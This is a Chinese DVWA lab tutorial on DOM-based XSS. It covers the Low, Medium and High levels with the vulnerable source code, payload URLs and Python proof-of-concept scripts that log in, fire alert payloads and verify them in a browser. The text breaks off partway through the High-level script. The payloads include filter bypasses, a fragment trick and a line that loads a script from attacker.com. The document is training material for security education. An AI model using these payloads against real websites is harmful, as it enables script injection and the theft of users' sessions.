文章目录
- 一、概述
-
- [1、什么是 DOM 型 XSS](#1、什么是 DOM 型 XSS)
- [2、DOM 型 XSS 的常见来源](#2、DOM 型 XSS 的常见来源)
- [二、LOW 级别 ------ 无任何防护](#二、LOW 级别 —— 无任何防护)
-
- 1、漏洞描述
- 2、查看网页源代码
- 3、分析网页源代码
- 4、操作步骤
-
- (1)正常访问页面
- [(2)观察 URL 参数对页面的影响](#(2)观察 URL 参数对页面的影响)
- [(3)构造 DOM 型 XSS 攻击](#(3)构造 DOM 型 XSS 攻击)
- [(4)使用 document.write 的局限](#(4)使用 document.write 的局限)
- [5、 Python------PoC脚本](#5、 Python——PoC脚本)
- [6、AI 视角下的 DOM XSS 检测](#6、AI 视角下的 DOM XSS 检测)
-
- [(1)基于 DOM 结构的异常检测](#(1)基于 DOM 结构的异常检测)
- [(2)AI 辅助的 URL 参数分析](#(2)AI 辅助的 URL 参数分析)
- [7、LOW 级别 ------ 小结](#7、LOW 级别 —— 小结)
- [三、MEDIUM 级别 ------ 服务器端关键词过滤](#三、MEDIUM 级别 —— 服务器端关键词过滤)
-
- 1、漏洞描述
- 2、查看网页源代码
- 3、分析网页源代码
- 4、操作步骤
-
- [(1)测试 `<script>` 标签(被过滤)](#(1)测试
<script>标签(被过滤)) - [(2)使用 `<img>` 标签绕过](#(2)使用
<img>标签绕过) - (3)其他绕过方式
- [(1)测试 `<script>` 标签(被过滤)](#(1)测试
- 5、Python------PoC脚本
- [6、AI 视角下的 DOM XSS 检测](#6、AI 视角下的 DOM XSS 检测)
-
- (1)黑名单的智能化改进
- [(2)基于语法的 XSS Payload 检测](#(2)基于语法的 XSS Payload 检测)
- [7、MEDIUM 级别 ------ 小结](#7、MEDIUM 级别 —— 小结)
- [四、HIGH 级别 ------ 服务器端白名单验证](#四、HIGH 级别 —— 服务器端白名单验证)
-
- 1、漏洞描述
- 2、查看网页源代码
- 3、分析网页源代码
- 4、操作步骤
- 5、Python------PoC脚本
- [6、AI视角下的 DOM XSS 检测](#6、AI视角下的 DOM XSS 检测)
-
- (1)白名单验证的智能化增强
- [(2)客户端 DOM 操作的智能检测](#(2)客户端 DOM 操作的智能检测)
- 7、HIGH级别------小结
- [五、Impossible 级别 ------ 客户端安全编码](#五、Impossible 级别 —— 客户端安全编码)
-
- 1、漏洞描述
- 2、查看网页源代码
- 3、分析网页源代码
- 4、操作步骤
-
- (1)正常访问白名单值
- [(2)尝试 XSS Payload(被客户端白名单拒绝)](#(2)尝试 XSS Payload(被客户端白名单拒绝))
- (3)尝试其他绕过方式(均被拒绝)
- [5、AI视角下的 DOM XSS 防御](#5、AI视角下的 DOM XSS 防御)
-
- (1)智能客户端防护
- [(2)客户端 DOM 操作的智能审计](#(2)客户端 DOM 操作的智能审计)
- (3)防御效果评估与持续优化
- 6、Impossible级别------小结
- [六、LOW vs MEDIUM vs HIGH vs Impossible:防御演进对比](#六、LOW vs MEDIUM vs HIGH vs Impossible:防御演进对比)
-
- 1、防护策略演进对比
- 2、攻击面变化分析
- [3、DOM XSS 防御的核心原则](#3、DOM XSS 防御的核心原则)
- 七、总结
- 八、AI增强防御建议
- 个人主页 :蒲公英eric
- 专栏传送门 :《DVWA通关全记录:从漏洞复现到安全防御》
- 学习方向:Web安全 / AI安全交叉领域
- 人生格言:安全没有终点,只有不断迭代的防御
📌 本文是专栏「DVWA通关全记录:从漏洞复现到安全防御」的第 11 篇文章。
一、概述
1、什么是 DOM 型 XSS
DOM 型 XSS(DOM-based Cross-Site Scripting)是一种纯客户端的跨站脚本攻击。与反射型和存储型 XSS 不同,DOM 型 XSS 的恶意代码并不经过服务器,而是在浏览器端通过修改 DOM(Document Object Model)结构来触发。
DOM 型 XSS 的执行流程如下:
text
1. 用户访问包含恶意 URL 的链接
↓
2. 服务器正常返回 HTML 页面(无恶意代码)
↓
3. 浏览器解析页面并执行 JavaScript
↓
4. JavaScript 从 URL 中提取恶意参数
↓
5. 恶意参数被写入 DOM(如 innerHTML)
↓
6. 恶意代码在受害者浏览器中执行 ✅
与反射型 XSS 的核心区别对比如下:
| 对比维度 | 反射型 XSS | DOM 型 XSS |
|---|---|---|
| 恶意代码位置 | 在服务器响应的 HTML 中 | 在客户端 JavaScript 动态生成 |
| 是否经过服务器 | ✅ 是(服务器返回恶意代码) | ❌ 否(服务器返回正常页面) |
| 检测难度 | 较低(查看响应源码即可发现) | 较高(需分析 JavaScript 逻辑) |
| 防御重点 | 服务器端输出编码 | 客户端安全编码 |
2、DOM 型 XSS 的常见来源
| 来源 | 说明 | 示例 |
|---|---|---|
| document.URL | 当前页面的完整 URL | 提取 URL 参数并写入 DOM |
| document.location | 当前页面地址 | 获取 location.hash 内容 |
| document.referrer | 来源页面 URL | 来源页面的恶意参数 |
| window.name | 窗口名称 | 通过 window.name 传递恶意代码 |
| location.search | URL 查询参数 | ?default= |
二、LOW 级别 ------ 无任何防护
1、漏洞描述
LOW 级别未对用户输入做任何检查或过滤,直接将 URL 参数写入页面 DOM 中,攻击者可借此注入并执行任意恶意代码。
该级别存在以下核心问题:
- 无任何输入验证或过滤
- 直接从 document.URL 提取参数并写入 DOM
- 攻击者可构造任意恶意 JavaScript 代码
2、查看网页源代码
PHP 代码(source/low.php):
php
<?php
# No protections, anything goes
?>
JavaScript 代码(页面中):
javascript
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
3、分析网页源代码
(1)代码概述
LOW 级别的 DOM 型 XSS 漏洞源于客户端 JavaScript,其核心逻辑如下:
- 使用 document.URL 获取当前页面的完整 URL
- 使用 split('=')1 提取 default 参数的值
- 使用 document.write() 直接将参数值写入 DOM
- 全程没有任何输入验证、过滤或编码
(2)漏洞分析
① 漏洞一 ------ 完全无输入过滤
问题分析:default 参数的值未经任何验证或过滤便直接写入 DOM,攻击者可借此构造包含恶意 JavaScript 的 URL,从而在受害者浏览器中执行任意代码。
② 漏洞二 ------ 使用 document.write() 写入 DOM
问题分析:document.write() 会直接解析 HTML 标签,攻击者可借此注入 <script> 标签或事件处理器,实现脚本执行。
③ 漏洞三 ------ 攻击者只需诱导用户点击恶意链接
问题分析:攻击者只需构造恶意 URL,诱导用户点击即可触发攻击。
4、操作步骤
(1)正常访问页面
登录 DVWA,将安全级别设置为 Low,随后进入 XSS (DOM) 页面,观察页面中的下拉选择框。
预期结果:页面显示一个下拉选择框,并包含默认选项。
(2)观察 URL 参数对页面的影响
在浏览器地址栏中,修改 default 参数的值:
text
http://dvwa.cc/vulnerabilities/xss_d/?default=French
预期结果:下拉选择框中显示 French。
(3)构造 DOM 型 XSS 攻击
Payload 1:注入 <script> 标签
text
http://dvwa.cc/vulnerabilities/xss_d/?default=<script>alert('XSS')</script>
预期结果:弹窗显示 XSS。
Payload 2:使用 <img> 标签的错误事件
text
http://dvwa.cc/vulnerabilities/xss_d/?default=<img src=x onerror=alert('XSS')>
预期结果:弹窗显示 XSS。
Payload 3:注入恶意外部脚本
text
http://dvwa.cc/vulnerabilities/xss_d/?default=<script src=http://attacker.com/malicious.js></script>
预期结果:浏览器加载并执行恶意脚本。
(4)使用 document.write 的局限
由于 document.write() 是在页面解析过程中同步执行的,若在页面加载完成后调用,它会清空并重写整个文档 ,导致页面内容被覆盖。因此,攻击者需要让恶意脚本在页面解析阶段(即 document.write() 执行时)触发,或者改用 innerHTML、eval() 等其他 DOM 操作方式来注入并执行恶意代码。
5、 Python------PoC脚本
python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
DVWA DOM-Based XSS (vulnerabilities/xss_d) 检测 PoC - Low 级别
仅用于授权的安全测试/教学环境(DVWA 自身即为漏洞训练平台)。
用法:
python dvwa_xss_d_poc.py -t http://dvwa.cc -u admin -p password
python dvwa_xss_d_poc.py -t http://dvwa.cc -u admin -p password --browser # 浏览器实弹验证
依赖:
pip install requests
pip install playwright && playwright install chromium # 仅 --browser 模式需要
"""
import argparse
import re
import sys
from urllib.parse import quote, urlparse
import requests
LOGIN_PATH = "/login.php"
VULN_PATH = "/vulnerabilities/xss_d/"
# Low 级别测试 payload(无任何过滤)
PAYLOADS = [
"<script>alert('XSS')</script>",
"<img src=x onerror=alert('XSS')>",
]
# DOM XSS sink 特征:页面 JS 从 URL 读取参数并通过 document.write 写入 DOM
SINK_PATTERNS = [
r"document\.write\s*\(",
r"(document\.)?location\.(search|href)",
]
SEP = "-" * 50
class DVWADomXPoC:
def __init__(self, base_url, username, password, verify=False):
self.base = base_url.rstrip("/")
self.username = username
self.password = password
self.verify = verify
self.session = requests.Session()
self.session.headers["User-Agent"] = "Mozilla/5.0 (DVWA-XSS-PoC)"
def login(self):
url = self.base + LOGIN_PATH
r = self.session.get(url, verify=self.verify, timeout=10)
m = re.search(r"user_token'\s*value='([0-9a-f]+)'", r.text)
token = m.group(1) if m else ""
r = self.session.post(
url,
data={
"username": self.username,
"password": self.password,
"user_token": token,
"Login": "Login",
},
verify=self.verify,
timeout=10,
allow_redirects=True,
)
if "Login failed" in r.text:
return False
# 设置 Low 级别
self.session.cookies.set("security", "low", domain=self._domain())
return True
def _domain(self):
return urlparse(self.base).hostname or ""
def detect(self, payload):
"""
DOM XSS 的 payload 不会被服务器回显,而是由前端 JS 读取后写入 DOM。
因此检测逻辑为:确认页面存在 sink(location.search 取参 + document.write),
即恶意 URL 中的 payload 会被写入页面。
"""
url = f"{self.base}{VULN_PATH}?default={quote(payload, safe='')}"
r = self.session.get(url, verify=self.verify, timeout=10)
has_sink = all(re.search(p, r.text) for p in SINK_PATTERNS)
return url, has_sink
def run(self):
print()
for payload in PAYLOADS:
print(f"[*] 目标地址: {self.base}{VULN_PATH}")
print(f"[*] 攻击 Payload: {payload}")
print(SEP)
url, ok = self.detect(payload)
print(f"[+] 生成的恶意 URL: {url}")
if ok:
print("[+] 检测到 Payload 被写入页面!")
print("[+] 确认存在 DOM 型 XSS 漏洞")
else:
print("[-] 未检测到可利用的 DOM XSS sink")
print(SEP)
def run_browser(self):
"""Playwright 实弹验证:监听 dialog 事件,确认 payload 真正执行"""
try:
from playwright.sync_api import sync_playwright
except ImportError:
print("[-] --browser 需要: pip install playwright && playwright install chromium")
return
print("\n=== 浏览器实弹验证 ===")
with sync_playwright() as p:
browser = p.chromium.launch(headless=True)
page = browser.new_page()
# 登录
page.goto(self.base + LOGIN_PATH)
page.fill("input[name='username']", self.username)
page.fill("input[name='password']", self.password)
page.click("input[name='Login']")
page.context.add_cookies(
[{"name": "security", "value": "low", "url": self.base}]
)
for payload in PAYLOADS:
fired = {"done": False}
def _on_dialog(d):
fired["done"] = True
d.dismiss()
page.on("dialog", _on_dialog)
page.goto(f"{self.base}{VULN_PATH}?default={quote(payload, safe='')}")
page.wait_for_timeout(1500)
print(f"[*] Payload: {payload}")
if fired["done"]:
print("[+] alert 弹窗触发,Payload 成功执行!")
else:
print("[-] 未触发弹窗")
page.remove_listener("dialog", _on_dialog)
browser.close()
def main():
ap = argparse.ArgumentParser(description="DVWA DOM XSS (xss_d) Low 级别检测 PoC")
ap.add_argument("-t", "--target", required=True, help="例如 http://dvwa.cc")
ap.add_argument("-u", "--user", default="admin")
ap.add_argument("-p", "--password", default="password")
ap.add_argument("--browser", action="store_true", help="使用 playwright 实弹验证")
args = ap.parse_args()
poc = DVWADomXPoC(args.target, args.user, args.password)
if not poc.login():
print("[-] 登录失败,请检查账号密码")
sys.exit(1)
print(f"[+] 登录成功: {args.user}")
poc.run()
if args.browser:
poc.run_browser()
print("\n[完成] 仅用于授权测试环境。")
if __name__ == "__main__":
main()
脚本说明与运行结果:
由于 DOM XSS 的 payload 不会被服务器回显,传统的"反射检测"(在响应 HTML 中查找 payload)会误报为不存在漏洞。因此本脚本采用 Sink 特征检测:
- 构造带有恶意 payload 的 URL 并请求目标页面;
- 检查响应中是否同时存在以下两类特征:
document.write(------ 危险输出函数;location.search/location.href------ 从 URL 读取参数;
- 两者同时存在,说明页面存在完整的 Source → Sink 数据流,URL 中的 payload 会被前端 JS 写入页面,判定漏洞存在。

6、AI 视角下的 DOM XSS 检测
(1)基于 DOM 结构的异常检测
传统的 DOM XSS 检测依赖人工分析 JavaScript 代码,而 AI 可以辅助实现自动化的 DOM 污染检测。安全代码与存在漏洞的代码在关键特征上差异明显:
| 特征维度 | 安全代码 | DOM XSS 漏洞代码 |
|---|---|---|
| 数据来源 | 仅信任内部数据 | 使用 document.URL、location.hash 等外部来源 |
| 写入方式 | 使用 textContent、setAttribute | 使用 innerHTML、document.write() |
| 编码处理 | 有编码/过滤 | 无编码/过滤 |
具体的技术实现方案包括:
- 数据流追踪:使用静态分析追踪数据从来源到输出的完整路径;
- Taint 分析:将来自用户输入的数据标记为"不可信",并追踪其传播路径;
- 危险函数检测:检测 innerHTML、document.write()、eval() 等危险函数的使用情况。
(2)AI 辅助的 URL 参数分析
- 参数模式识别:检测 URL 参数中是否包含可疑的 JavaScript 代码;
- 编码检测:识别 URL 编码、Base64 编码等混淆手法;
- 攻击模式匹配:使用机器学习识别已知的 XSS Payload 模式。
7、LOW 级别 ------ 小结
LOW 级别未部署任何安全防护措施,攻击者只需构造恶意 URL,即可直接注入并执行任意 JavaScript 代码。
该级别暴露的核心问题可归纳为以下三点:
- 无任何输入验证或过滤:URL 参数未经检查便直接进入页面逻辑;
- 使用 document.write() 直接写入 DOM:危险输出函数为脚本注入提供了通道;
- 攻击者只需诱导用户点击恶意链接:一次点击即可触发完整攻击链。
三、MEDIUM 级别 ------ 服务器端关键词过滤
1、漏洞描述
MEDIUM 级别在服务器端对 default 参数进行了关键词过滤,仅检查参数中是否包含 <script 标签。
核心机制:
- 使用
stripos($default, "<script")检查参数是否包含<script标签; - 如果包含,则重定向到
?default=English。
核心问题:
- 仅检查
<script标签,其他 HTML 标签和事件处理器未被过滤; - 攻击者可以使用
<img>、<svg>等标签绕过过滤; - 过滤发生在服务器端,但 DOM XSS 的触发点在客户端,防护存在错位。
2、查看网页源代码
PHP 代码(source/medium.php):
php
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
JavaScript 代码(页面中):
javascript
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
3、分析网页源代码
(1)代码概述
MEDIUM 级别在服务器端添加了关键词过滤,其处理流程如下:
- 从
$_GET获取default参数; - 使用
stripos()检查参数中是否包含<script(不区分大小写); - 如果包含,则重定向到
?default=English并退出; - 如果通过检查,页面 JavaScript 将参数写入 DOM。
(2)漏洞分析
① 漏洞一 ------ 黑名单不完整
问题分析:仅过滤 <script 标签,但攻击者可以使用其他 HTML 标签绕过过滤,具体如下:
| 标签 | 示例 | 是否被过滤 |
|---|---|---|
<script> |
<script>alert(1)</script> |
✅ 被过滤 |
<img> |
<img src=x onerror=alert(1)> |
❌ 未过滤 |
<svg> |
<svg onload=alert(1)> |
❌ 未过滤 |
<body> |
<body onload=alert(1)> |
❌ 未过滤 |
<iframe> |
<iframe src=javascript:alert(1)> |
❌ 未过滤 |
② 漏洞二 ------ 大小写绕过
问题分析:虽然使用了 stripos() 不区分大小写,但攻击者仍可尝试其他标签或编码方式绕过过滤。
③ 漏洞三 ------ 服务器端过滤不彻底
问题分析:过滤在服务器端进行,但 DOM XSS 的根源在客户端 JavaScript。即使服务器端过滤了 <script>,客户端仍然直接将 URL 参数写入 DOM,攻击面并未真正收敛。
4、操作步骤
(1)测试 <script> 标签(被过滤)
text
http://dvwa.cc/vulnerabilities/xss_d/?default=<script>alert('XSS')</script>
预期结果:页面重定向到 ?default=English,弹窗未触发。
(2)使用 <img> 标签绕过
text
http://dvwa.cc/vulnerabilities/xss_d/?default=<img src=x onerror=alert('XSS')>
预期结果:弹窗显示 XSS(未被过滤)。
(3)其他绕过方式
| Payload | 效果 |
|---|---|
<svg onload=alert('XSS')> |
SVG 标签的 onload 事件 |
<body onload=alert('XSS')> |
Body 标签的 onload 事件 |
<iframe src=javascript:alert('XSS')> |
iframe 的 src 属性 |
<input onfocus=alert('XSS') autofocus> |
输入框的 onfocus 事件 |
5、Python------PoC脚本
python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
DVWA DOM-Based XSS (vulnerabilities/xss_d) 检测 PoC - Medium 级别
仅用于授权的安全测试/教学环境(DVWA 自身即为漏洞训练平台)。
Medium 防护机制:
服务端用 stripos() 检查 default 参数是否含 "<script"(不区分大小写),
命中则 302 重定向到 ?default=English,注入失效。
绕过思路:
1. 黑名单只拦 <script,改用 <img src=x onerror=...> 事件标签;
2. 输出点位于 <select> 内部,浏览器不执行 select 中的 <img>,
需先闭合 </option></select> 使标签脱离 select 容器。
用法:
python dvwa_xss_d_poc_medium.py -t http://dvwa.cc -u admin -p password
python dvwa_xss_d_poc_medium.py -t http://dvwa.cc -u admin -p password --browser
依赖:
pip install requests
pip install playwright && playwright install chromium # 仅 --browser 模式需要
"""
import argparse
import re
import sys
from urllib.parse import quote, urlparse
import requests
LOGIN_PATH = "/login.php"
VULN_PATH = "/vulnerabilities/xss_d/"
# 第 1 个 payload 用于验证 Medium 过滤规则生效;第 2 个为绕过 payload
PAYLOADS = [
"<script>alert('XSS')</script>", # 会被过滤(触发 302)
"></option></select><img src=x onerror=alert('XSS')>", # 绕过 payload
]
# DOM XSS sink 特征:页面 JS 从 URL 读取参数并通过 document.write 写入 DOM
SINK_PATTERNS = [
r"document\.write\s*\(",
r"(document\.)?location\.(search|href)",
]
SEP = "-" * 50
class DVWADomXPoCMedium:
def __init__(self, base_url, username, password, verify=False):
self.base = base_url.rstrip("/")
self.username = username
self.password = password
self.verify = verify
self.session = requests.Session()
self.session.headers["User-Agent"] = "Mozilla/5.0 (DVWA-XSS-PoC)"
def login(self):
url = self.base + LOGIN_PATH
r = self.session.get(url, verify=self.verify, timeout=10)
m = re.search(r"user_token'\s*value='([0-9a-f]+)'", r.text)
token = m.group(1) if m else ""
r = self.session.post(
url,
data={
"username": self.username,
"password": self.password,
"user_token": token,
"Login": "Login",
},
verify=self.verify,
timeout=10,
allow_redirects=True,
)
if "Login failed" in r.text:
return False
# 设置 Medium 级别
self.session.cookies.set("security", "medium", domain=self._domain())
return True
def _domain(self):
return urlparse(self.base).hostname or ""
def detect(self, payload):
"""
Medium 级别检测逻辑:
- allow_redirects=False 捕获服务端 302:
命中 "<script" 黑名单会重定向到 ?default=English → payload 被拦截;
- 未被拦截且页面存在 sink(document.write + location.search):
payload 进入前端 JS 数据流将被写入 DOM → 绕过成功。
返回 (恶意URL, 状态, 响应对象),状态: filtered / bypass / no_sink
"""
url = f"{self.base}{VULN_PATH}?default={quote(payload, safe='')}"
r = self.session.get(
url, verify=self.verify, timeout=10, allow_redirects=False
)
# Medium 过滤规则:含 <script 关键字 → 302 重定向到 default=English
if r.status_code in (301, 302) and "default=English" in r.headers.get("Location", ""):
return url, "filtered", r
has_sink = all(re.search(p, r.text) for p in SINK_PATTERNS)
return url, ("bypass" if has_sink else "no_sink"), r
def run(self):
print()
for payload in PAYLOADS:
print(f"[*] 目标地址: {self.base}{VULN_PATH}")
print(f"[*] 攻击 Payload: {payload}")
print(SEP)
url, status, _ = self.detect(payload)
print(f"[+] 生成的恶意 URL: {url}")
if status == "filtered":
print("[-] Payload 被 Medium 过滤规则拦截")
print("[-] 检测到 <script 关键字,服务端已 302 重定向至 ?default=English")
elif status == "bypass":
print("[+] Payload 绕过服务端过滤,成功传入页面!")
print("[+] 确认存在 DOM 型 XSS 漏洞(Medium 级别绕过成功)")
else:
print("[-] 未检测到可利用的 DOM XSS sink")
print(SEP)
def run_browser(self):
"""Playwright 实弹验证:监听 dialog 事件,确认 payload 真正执行"""
try:
from playwright.sync_api import sync_playwright
except ImportError:
print("[-] --browser 需要: pip install playwright && playwright install chromium")
return
print("\n=== 浏览器实弹验证 ===")
with sync_playwright() as p:
browser = p.chromium.launch(headless=True)
page = browser.new_page()
# 登录
page.goto(self.base + LOGIN_PATH)
page.fill("input[name='username']", self.username)
page.fill("input[name='password']", self.password)
page.click("input[name='Login']")
page.context.add_cookies(
[{"name": "security", "value": "medium", "url": self.base}]
)
for payload in PAYLOADS:
fired = {"done": False}
def _on_dialog(d):
fired["done"] = True
d.dismiss()
page.on("dialog", _on_dialog)
page.goto(f"{self.base}{VULN_PATH}?default={quote(payload, safe='')}")
page.wait_for_timeout(1500)
print(f"[*] Payload: {payload}")
if fired["done"]:
print("[+] alert 弹窗触发,Payload 成功执行!")
else:
print("[-] 未触发弹窗(被过滤或未执行)")
page.remove_listener("dialog", _on_dialog)
browser.close()
def main():
ap = argparse.ArgumentParser(description="DVWA DOM XSS (xss_d) Medium 级别检测 PoC")
ap.add_argument("-t", "--target", required=True, help="例如 http://dvwa.cc")
ap.add_argument("-u", "--user", default="admin")
ap.add_argument("-p", "--password", default="password")
ap.add_argument("--browser", action="store_true", help="使用 playwright 实弹验证")
args = ap.parse_args()
poc = DVWADomXPoCMedium(args.target, args.user, args.password)
if not poc.login():
print("[-] 登录失败,请检查账号密码")
sys.exit(1)
print(f"[+] 登录成功: {args.user}")
poc.run()
if args.browser:
poc.run_browser()
print("\n[完成] 仅用于授权测试环境。")
if __name__ == "__main__":
main()
脚本说明和运行结果:
Medium 级别的防护仅在服务端通过 stripos() 检查 default 参数是否包含 <script 关键字(不区分大小写),一旦命中便 302 重定向至 ?default=English。由于 DOM XSS 的 payload 依然不会被服务器回显,本脚本采用「过滤拦截验证 + Sink 特征检测」相结合的方式:
- 以
allow_redirects=False请求携带恶意 payload 的 URL,捕获服务端的重定向行为:若响应为 302 且Location指向?default=English,说明 payload 命中<script黑名单被拦截,Medium 防护生效; - 若未被重定向(返回 200),则进一步检查响应中是否同时存在以下两类特征:
document.write(------ 危险输出函数;location.search/location.href------ 从 URL 读取参数;
- 未被拦截且两类特征同时存在,说明绕过 payload(
></option></select><img src=x onerror=alert('XSS')>)已进入前端 Source → Sink 数据流,将被document.write写入页面执行,判定 Medium 级别绕过成功、漏洞存在。

6、AI 视角下的 DOM XSS 检测
(1)黑名单的智能化改进
MEDIUM 级别的黑名单仅过滤 <script>,AI 可辅助构建智能黑名单:
- 模式泛化 :从
<script>泛化到所有危险标签和事件处理器; - 上下文感知:根据 JavaScript 代码的上下文,判断输入是否可能被执行;
- 动态更新:从攻击日志中自动提取新的绕过模式。
(2)基于语法的 XSS Payload 检测
- 标签识别:识别 HTML 标签结构,检测危险标签;
- 事件处理器检测 :检测
onerror、onload、onfocus等事件; - 协议检测 :检测
javascript:、data:等危险协议。
7、MEDIUM 级别 ------ 小结
MEDIUM 级别通过服务器端过滤阻止了 <script> 标签,但黑名单并不完整:
- 仅过滤
<script>,其他标签和事件处理器未被过滤; - 攻击者可以使用
<img>、<svg>等标签绕过过滤; - 服务器端过滤无法解决客户端 DOM 操作带来的安全问题。
一句话总结:MEDIUM 级别的黑名单过滤是一种弱防护,攻击者只需更换一个标签即可轻松绕过。
四、HIGH 级别 ------ 服务器端白名单验证
1、漏洞描述
HIGH 级别在服务器端采用了白名单验证机制,仅允许 French、English、German、Spanish 四个预定义值。
核心机制:
- 使用
switch语句检查default参数的值; - 仅放行四个预定义的语言值;
- 其他值一律重定向到
?default=English。
安全价值: 白名单验证是防御 XSS 的有效手段,但关键问题在于:服务器端验证无法阻止客户端 DOM 操作中存在的漏洞。
2、查看网页源代码
PHP 代码(source/high.php):
php
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
JavaScript 代码(页面中):
javascript
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
3、分析网页源代码
(1)代码概述
HIGH 级别在服务器端采用了白名单验证机制,其处理流程如下:
- 从
$_GET获取default参数; - 使用
switch语句检查参数值是否在白名单中; - 白名单仅包含
French、English、German、Spanish四个预定义值; - 不在白名单中的值一律重定向到
?default=English。
(2)漏洞分析
① 漏洞一 ------ 白名单在服务器端,DOM 操作在客户端
问题分析:虽然服务器端限制了 default 参数的值,但客户端的 JavaScript 仍然会从 URL 中提取参数并写入 DOM。服务器端验证无法阻止客户端直接操作 document.URL。
② 漏洞二 ------ 白名单无法覆盖客户端 DOM 操作
问题分析:HIGH 级别的白名单采用 switch 精确匹配,URL 编码、双重编码等方式无法绕过(如 %46rench 不会匹配 French,会被重定向)。但真正的风险在于:即使参数值被限制在白名单内,客户端 JavaScript 仍会从 URL 中提取参数并写入 DOM,攻击者可通过修改 URL 的 fragment(如 # 后的内容)或其他客户端可控数据来触发 DOM XSS。
③ 漏洞三 ------ 服务器端白名单与客户端防护脱节
问题分析:白名单验证只约束了服务器端,而 DOM XSS 的触发点在客户端。客户端 JavaScript 仍然直接信任 URL 参数并写入 DOM,服务器端白名单无法覆盖这一攻击面,防护重心存在错位。
4、操作步骤
(1)正常访问白名单值
在浏览器地址栏中,访问白名单内的语言值:
text
http://dvwa.cc/vulnerabilities/xss_d/?default=French
预期结果:页面正常显示 French。
(2)尝试非白名单值(被拒绝)
在浏览器地址栏中,访问一个不在白名单内的语言值:
text
http://dvwa.cc/vulnerabilities/xss_d/?default=Italian
预期结果:页面重定向到 ?default=English。
(3)尝试绕过白名单
| Payload | 结果 | 说明 |
|---|---|---|
French<script>alert(1)</script> |
重定向 | 不在白名单中 |
French%00 |
重定向 | 空字节截断无效 |
French?param=value |
重定向 | 参数被整体匹配 |
5、Python------PoC脚本
python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
DVWA DOM-Based XSS (vulnerabilities/xss_d) 检测 PoC - High 级别
仅用于授权的安全测试/教学环境(DVWA 自身即为漏洞训练平台)。
High 防护机制:
服务端对 default 参数做白名单校验(switch 语句,仅允许
French/English/German/Spanish),不在白名单则 302 重定向到 ?default=English。
绕过思路(fragment 绕过):
URL 中 # 后面的 fragment 部分不会被浏览器发送到服务器,
因此请求 ?default=English#<img src=x onerror=alert('XSS')> 时,
服务端只收到 default=English(白名单校验通过);
而前端 JS 若从 document.location.href 截取 "default=" 之后的全部内容,
# 后的 payload 会被一并写入 DOM 执行。
用法:
python dvwa_xss_d_poc_high.py -t http://dvwa.cc -u admin -p password
python dvwa_xss_d_poc_high.py -t http://dvwa.cc -u admin -p password --browser
依赖:
pip install requests
pip install playwright && playwright install chromium # 仅 --browser 模式需要
"""
import argparse
import re
import sys
from urllib.parse import quote, urlparse
import requests
LOGIN_PATH = "/login.php"
VULN_PATH = "/vulnerabilities/xss_d/"
# 第 1 个 payload 用于验证白名单过滤生效;第 2 个为 fragment 绕过 payload
PAYLOADS = [
"<script>alert('XSS')</script>", # 会被白名单拦截(触发 302)
"English#<img src=x onerror=alert('XSS')>", # fragment 绕过 payload
]
# 高危 sink:JS 从 location.href(完整 URL,含 #fragment)读取 default 参数
SINK_HREF_PATTERN = r"(document\.)?location\.href"
SINK_WRITE_PATTERN = r"document\.write\s*\("
SEP = "-" * 50
class DVWADomXPoCHigh:
def __init__(self, base_url, username, password, verify=False):
self.base = base_url.rstrip("/")
self.username = username
self.password = password
self.verify = verify
self.session = requests.Session()
self.session.headers["User-Agent"] = "Mozilla/5.0 (DVWA-XSS-PoC)"
def login(self):
url = self.base + LOGIN_PATH
r = self.session.get(url, verify=self.verify, timeout=10)
m = re.search(r"user_token'\s*value='([0-9a-f]+)'", r.text)
token = m.group(1) if m else ""
r = self.session.post(
url,
data={
"username": self.username,
"password": self.password,
"user_token": token,
"Login": "Login",
},
verify=self.verify,
timeout=10,
allow_redirects=True,
)
if "Login failed" in r.text:
return False
# 设置 High 级别
self.session.cookies.set("security", "high", domain=self._domain())
return True
def _domain(self):
return urlparse(self.base).hostname or ""
def check_filter(self, payload):
"""
白名单拦截验证: default 值不在白名单(French/English/German/Spanish)时,
服务端 302 重定向到 ?default=English。
返回 (恶意URL, 状态, 响应对象),状态: filtered / passed
"""
url = f"{self.base}{VULN_PATH}?default={quote(payload, safe='')}"
r = self.session.get(
url, verify=self.verify, timeout=10, allow_redirects=False
)
if r.status_code in (301, 302) and "default=English" in r.headers.get("Location", ""):
return url, "filtered", r
return url, "passed", r
def detect_bypass(self):
"""
fragment 绕过检测:
- # 后内容不会被发送到服务器,因此只向服务器请求 ?default=English;
- 若返回 200,说明白名单校验被 fragment 技巧绕过;
- 再检查页面 JS 是否从 location.href(含 # 内容)截取参数并通过
document.write 写入 DOM,若成立则 payload 必然执行。
返回 (恶意URL, 状态, 响应对象),状态: bypass / no_href_sink / filtered
"""
bypass_frag = "#<img src=x onerror=alert('XSS')>"
server_url = f"{self.base}{VULN_PATH}?default=English"
r = self.session.get(
server_url, verify=self.verify, timeout=10, allow_redirects=False
)
